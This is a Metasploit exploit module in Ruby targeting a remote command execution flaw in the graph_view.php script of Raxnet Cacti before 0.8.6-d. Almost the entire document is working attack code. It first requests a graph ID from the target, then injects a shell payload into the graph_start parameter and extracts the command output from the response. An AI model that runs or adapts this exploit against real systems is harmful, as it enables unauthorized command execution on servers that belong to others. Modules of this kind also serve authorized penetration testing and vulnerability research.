Cacti graph_view.php Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Cacti graph_view.php Remote Command Execution',
        'Description' => %q{
          This module exploits an arbitrary command execution vulnerability in the
          Raxnet Cacti 'graph_view.php' script. All versions of Raxnet Cacti prior to
          0.8.6-d are vulnerable.
        },
        'Author' => [ 'David Maciejak <david.maciejak[at]kyxar.fr>', 'hdm' ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2005-10004' ],
          [ 'OSVDB', '17539' ],
          [ 'BID', '14042' ],
        ],
        'Privileged' => false,
        'Payload' => {
          'DisableNops' => true,
          'Space' => 512,
          'Compat' =>
                        {
                          'PayloadType' => 'cmd',
                          'RequiredCmd' => 'generic perl ruby python telnet',
                        }
        },
        'Platform' => 'unix',
        'Arch' => ARCH_CMD,
        'Targets' => [[ 'Automatic', {}]],
        'DisclosureDate' => '2005-01-15',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptString.new('URI', [true, "The full URI path to graph_view.php", "/cacti/graph_view.php"]),
      ]
    )
  end

  def exploit
    # Obtain a valid image ID
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
        {
          'action' => 'list'
        }
    }, 10)

    if (not res)
      print_error("The server gave no response")
      return
    end

    m = res.body.match(/local_graph_id=(.*?)&/)
    if (not m)
      print_error("Could not locate a valid image ID")
      return
    end

    # Trigger the command execution bug
    res = send_request_cgi({
      'uri' => normalize_uri(datastore['URI']),
      'vars_get' =>
        {
          'local_graph_id' => m[1],
          'graph_start' => "\necho YYY;#{payload.encoded};echo YYY;echo\n"
        }
    }, 25)

    if (res)
      print_status("The server returned: #{res.code} #{res.message}")
      print("")

      m = res.body.match(/YYY(.*)YYY/)

      if (m)
        print_status("Command output from the server:")
        print(m[1])
      else
        print_status("This server may not be vulnerable")
      end

    else
      print_status("No response from the server")
    end
  end
end